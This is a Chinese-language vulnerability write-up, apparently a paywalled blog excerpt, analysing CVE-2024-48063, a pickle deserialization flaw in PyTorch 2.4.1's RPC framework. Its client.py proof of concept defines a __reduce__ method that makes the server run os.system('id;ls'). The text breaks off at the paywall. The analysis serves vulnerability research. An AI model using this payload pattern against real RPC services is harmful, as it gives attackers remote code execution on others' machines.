PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)
superLeeH
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
分析了pickle反序列化在PyTorch分布式RPC框架中导致的任意代码执行漏洞的成因
环境搭建及复现
使用conda创建虚拟环境
使用pip安装2.4.1版本的Pytorch
分别创建server.py和client.py
server.py创建一个分布式的RPC服务,能够处理client的远程调用请求
# server.py import torch import torch.distributed.rpc as rpc def run_server(): # Initialize server-side RPC rpc.init_rpc("server", rank=0, world_size=2) # Wait for the client's remote call rpc.shutdown() if __name__ == "__main__": run_server()
client.py发起了RPC通信,并定义了一个简单的神经网络模型
MyModel
,其中包含有反序列化结束时将会触发的__reduce__
函数,且对于该方法并无过滤,从而触发了了恶意代码的执行# client.py import torch import torch.distributed.rpc as rpc from torch.distributed.nn.api.remote_module import RemoteModule import torch.nn as nn # Define a simple neural network model MyModel class MyModel(nn.Module): def __init__(self): super(MyModel, self).__init__() # A simple linear layer with input dimension 2 and output dimension 2 self.fc = nn.Linear(2, 2) # Define the forward method def __reduce__(self): return (__import__('os').system, ("id;ls",)) def run_client(): # Initialize client-side RPC rpc.init_rpc("client", rank=1, world_size=2) # Create a remote module to run the model on the server side remote_model = RemoteModule( "server", # Serve
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
畅读付费文章
最低0.3元/天
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 superLeeH 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
hutool组件下dynamic proxy和JDBC的部分可用链
2025-03-18
Vaadin组件下的新反序列化链寻找
2025-02-11
json组件下的原生反序列化getter触发
2025-01-13
文章目录